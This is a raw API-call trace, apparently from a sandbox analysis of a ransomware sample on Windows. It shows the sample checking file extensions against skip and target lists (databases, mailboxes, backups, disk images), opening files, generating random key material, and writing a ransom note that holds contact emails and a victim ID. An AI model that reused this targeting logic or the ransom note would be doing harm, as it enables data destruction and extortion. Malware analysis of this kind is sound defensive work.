	[0062.336] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.336] lstrlenW (lpString=".msp") returned 4
	[0062.336] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.336] lstrlenW (lpString=".pif") returned 4
	[0062.336] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.336] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.336] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.336] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.337] RtlWakeConditionVariable () returned 0x365f70
	[0062.337] GetCurrentThreadId () returned 0x9f4
	[0062.337] GetCurrentThreadId () returned 0x9f4
	[0062.337] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.348] GetCurrentThreadId () returned 0x9f4
	[0062.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.348] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\Read~ME.txt" (normalized: "c:\\boot\\ru-ru\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.349] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.349] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.350] CloseHandle (hObject=0x110) returned 1
	[0062.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.350] RtlWakeConditionVariable () returned 0x365f70
	[0062.350] GetCurrentThreadId () returned 0x9f4
	[0062.351] GetCurrentThreadId () returned 0x9f4
	[0062.351] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.423] GetCurrentThreadId () returned 0x9f4
	[0062.423] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.443] GetCurrentThreadId () returned 0x9f4
	[0062.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0062.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0062.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0062.443] lstrlenW (lpString=".scr") returned 4
	[0062.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".scr") returned 0x0
	[0062.443] lstrlenW (lpString=".cmd") returned 4
	[0062.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".cmd") returned 0x0
	[0062.443] lstrlenW (lpString=".dll") returned 4
	[0062.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".dll") returned 0x0
	[0062.443] lstrlenW (lpString=".bat") returned 4
	[0062.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".bat") returned 0x0
	[0062.443] lstrlenW (lpString=".cpl") returned 4
	[0062.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".cpl") returned 0x0
	[0062.444] lstrlenW (lpString=".sys") returned 4
	[0062.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".sys") returned 0x0
	[0062.444] lstrlenW (lpString=".msc") returned 4
	[0062.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".msc") returned 0x0
	[0062.444] lstrlenW (lpString=".com") returned 4
	[0062.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".com") returned 0x0
	[0062.444] lstrlenW (lpString=".lnk") returned 4
	[0062.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".lnk") returned 0x0
	[0062.444] lstrlenW (lpString=".msp") returned 4
	[0062.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".msp") returned 0x0
	[0062.444] lstrlenW (lpString=".pif") returned 4
	[0062.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch=".pif") returned 0x0
	[0062.444] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0062.444] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\.." (normalized: "c:\\msocache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0062.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0062.444] RtlWakeConditionVariable () returned 0x365f70
	[0062.444] GetCurrentThreadId () returned 0x9f4
	[0062.444] GetCurrentThreadId () returned 0x9f4
	[0062.444] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.467] GetCurrentThreadId () returned 0x9f4
	[0062.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39e5d0
	[0062.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0062.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39e528
	[0062.468] lstrlenW (lpString=".scr") returned 4
	[0062.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".scr") returned 0x0
	[0062.468] lstrlenW (lpString=".cmd") returned 4
	[0062.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".cmd") returned 0x0
	[0062.468] lstrlenW (lpString=".dll") returned 4
	[0062.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".dll") returned 0x0
	[0062.468] lstrlenW (lpString=".bat") returned 4
	[0062.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".bat") returned 0x0
	[0062.468] lstrlenW (lpString=".cpl") returned 4
	[0062.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".cpl") returned 0x0
	[0062.468] lstrlenW (lpString=".sys") returned 4
	[0062.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".sys") returned 0x0
	[0062.468] lstrlenW (lpString=".msc") returned 4
	[0062.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".msc") returned 0x0
	[0062.468] lstrlenW (lpString=".com") returned 4
	[0062.468] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".com") returned 0x0
	[0062.469] lstrlenW (lpString=".lnk") returned 4
	[0062.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".lnk") returned 0x0
	[0062.469] lstrlenW (lpString=".msp") returned 4
	[0062.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".msp") returned 0x0
	[0062.469] lstrlenW (lpString=".pif") returned 4
	[0062.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".pif") returned 0x0
	[0062.469] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0062.469] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0062.469] lstrlenW (lpString=".sqb") returned 4
	[0062.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".sqb") returned 0x0
	[0062.469] lstrlenW (lpString=".ost") returned 4
	[0062.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".ost") returned 0x0
	[0062.469] lstrlenW (lpString=".txt") returned 4
	[0062.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".txt") returned 0x0
	[0062.469] lstrlenW (lpString=".mdt") returned 4
	[0062.469] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".mdt") returned 0x0
	[0062.469] lstrlenW (lpString=".BDB") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".BDB") returned 0x0
	[0062.470] lstrlenW (lpString=".eql") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".eql") returned 0x0
	[0062.470] lstrlenW (lpString=".DBF") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DBF") returned 0x0
	[0062.470] lstrlenW (lpString=".EQL") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".EQL") returned 0x0
	[0062.470] lstrlenW (lpString=".FDB") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".FDB") returned 0x0
	[0062.470] lstrlenW (lpString=".EDB") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".EDB") returned 0x0
	[0062.470] lstrlenW (lpString=".DACPAC") returned 7
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0062.470] lstrlenW (lpString=".VHD") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".VHD") returned 0x0
	[0062.470] lstrlenW (lpString=".DBV") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DBV") returned 0x0
	[0062.470] lstrlenW (lpString=".dacpac") returned 7
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".dacpac") returned 0x0
	[0062.470] lstrlenW (lpString=".sdf") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".sdf") returned 0x0
	[0062.470] lstrlenW (lpString=".accdb") returned 6
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".accdb") returned 0x0
	[0062.470] lstrlenW (lpString=".DBX") returned 4
	[0062.470] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DBX") returned 0x0
	[0062.470] lstrlenW (lpString=".MDT") returned 4
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".MDT") returned 0x0
	[0062.471] lstrlenW (lpString=".SQB") returned 4
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".SQB") returned 0x0
	[0062.471] lstrlenW (lpString=".vhd") returned 4
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".vhd") returned 0x0
	[0062.471] lstrlenW (lpString=".bac") returned 4
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".bac") returned 0x0
	[0062.471] lstrlenW (lpString=".mdf") returned 4
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".mdf") returned 0x0
	[0062.471] lstrlenW (lpString=".BAK") returned 4
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".BAK") returned 0x0
	[0062.471] lstrlenW (lpString=".BAC") returned 4
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".BAC") returned 0x0
	[0062.471] lstrlenW (lpString=".dbs") returned 4
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".dbs") returned 0x0
	[0062.471] lstrlenW (lpString=".vhdx") returned 5
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".vhdx") returned 0x0
	[0062.471] lstrlenW (lpString=".NDF") returned 4
	[0062.471] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".NDF") returned 0x0
	[0062.472] lstrlenW (lpString=".dat") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".dat") returned 0x0
	[0062.472] lstrlenW (lpString=".DBS") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DBS") returned 0x0
	[0062.472] lstrlenW (lpString=".CKP") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".CKP") returned 0x0
	[0062.472] lstrlenW (lpString=".edb") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".edb") returned 0x0
	[0062.472] lstrlenW (lpString=".PST") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".PST") returned 0x0
	[0062.472] lstrlenW (lpString=".dbf") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".dbf") returned 0x0
	[0062.472] lstrlenW (lpString=".SQL") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".SQL") returned 0x0
	[0062.472] lstrlenW (lpString=".pst") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".pst") returned 0x0
	[0062.472] lstrlenW (lpString=".dbv") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".dbv") returned 0x0
	[0062.472] lstrlenW (lpString=".SDF") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".SDF") returned 0x0
	[0062.472] lstrlenW (lpString=".dtxs") returned 5
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".dtxs") returned 0x0
	[0062.472] lstrlenW (lpString=".db3") returned 4
	[0062.472] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".db3") returned 0x0
	[0062.472] lstrlenW (lpString=".OST") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".OST") returned 0x0
	[0062.473] lstrlenW (lpString=".dbx") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".dbx") returned 0x0
	[0062.473] lstrlenW (lpString=".DB3") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DB3") returned 0x0
	[0062.473] lstrlenW (lpString=".DAT") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DAT") returned 0x0
	[0062.473] lstrlenW (lpString=".VHDX") returned 5
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".VHDX") returned 0x0
	[0062.473] lstrlenW (lpString=".ndf") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".ndf") returned 0x0
	[0062.473] lstrlenW (lpString=".DB") returned 3
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DB") returned 0x0
	[0062.473] lstrlenW (lpString=".sql") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".sql") returned 0x0
	[0062.473] lstrlenW (lpString=".MYD") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".MYD") returned 0x0
	[0062.473] lstrlenW (lpString=".DBT") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DBT") returned 0x0
	[0062.473] lstrlenW (lpString=".ACCDB") returned 6
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0062.473] lstrlenW (lpString=".fdb") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".fdb") returned 0x0
	[0062.473] lstrlenW (lpString=".bak") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".bak") returned 0x0
	[0062.473] lstrlenW (lpString=".myd") returned 4
	[0062.473] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".myd") returned 0x0
	[0062.474] lstrlenW (lpString=".DTXS") returned 5
	[0062.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".DTXS") returned 0x0
	[0062.474] lstrlenW (lpString=".ckp") returned 4
	[0062.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".ckp") returned 0x0
	[0062.474] lstrlenW (lpString=".dbt") returned 4
	[0062.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".dbt") returned 0x0
	[0062.474] lstrlenW (lpString=".db") returned 3
	[0062.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".db") returned 0x0
	[0062.474] lstrlenW (lpString=".TXT") returned 4
	[0062.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".TXT") returned 0x0
	[0062.474] lstrlenW (lpString=".MDF") returned 4
	[0062.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".MDF") returned 0x0
	[0062.474] lstrlenW (lpString=".bdb") returned 4
	[0062.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".bdb") returned 0x0
	[0062.474] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0062.474] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0062.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e678
	[0062.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0062.474] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39d948) returned 1
	[0062.475] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0062.475] CryptReleaseContext (hProv=0x39d948, dwFlags=0x0) returned 1
	[0062.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0062.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0062.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3cb040
	[0062.476] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18246636535) returned 1
	[0062.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x92706ed0, dwHighDateTime=0x1d60e1e)) 
	[0062.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0062.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0062.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0062.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0062.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0062.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0062.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39e7b0
